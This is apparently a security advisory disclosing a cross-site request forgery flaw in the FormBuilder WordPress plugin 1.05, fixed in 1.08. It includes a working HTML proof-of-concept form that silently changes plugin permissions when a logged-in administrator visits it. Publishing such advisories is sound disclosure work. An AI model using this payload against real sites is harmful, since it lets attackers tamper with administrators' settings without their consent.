Abstract
A Cross-Site Request Forgery vulnerability has been encountered in the FormBuilder WordPress Plugin. This issue allows an attacker to change permission settings for the plugin by luring a logged on WordPress Administrator into following a malicious link.
OVE ID
OVE-20160724-0005
Tested versions
This issue was successfully tested on FormBuilder version 1.05.
Fix
This issue is resolved in FormBuilder version 1.08.
Introduction
The FormBuilder Plugin for WordPress allows you to build contact forms in the WordPress administrative interface without needing to know PHP or HTML.
Details
The FormBuilder plugin lacks a CSRF (nonce) token on the request of saving permissions. Because of this an attacker is able to change permission settings for the plugin. To achieve this a logged on WordPress Administrator must be lured into following a malicious link. Proof of Concept code that demonstrates this issue can be found below.
Proof of concept
The Proof of Concept code below will change the permission settings of the FormBuilder plugin. If a logged-in admin is lured to a page with the POC below, the permission settings of the FormBuilder plugin will be adjusted to allow (WordPress) Authors to manage the settings page of the FormBuilder plugin.
<html>
<body>
<form action="http://<target>/wp-admin/tools.php?page=formbuilder.php&fbaction=settings" method="POST">
<input type="hidden" name="formbuilder_permissions[level_10][connect]" value="yes" />
<input type="hidden" name="formbuilder_permissions[level_10][create]" value="yes" />
<input type="hidden" name="formbuilder_permissions[level_2][connect]" value="yes" />
<input type="hidden" name="formbuilder_permissions[level_2][create]" value="yes" />
<input type="hidden" name="formbuilder_permissions[level_2][manage]" value="yes" />
<input type="hidden" name="permissions_save" value="Save" />
<input type="submit" value="Submit" />
</form>
</body>
</html>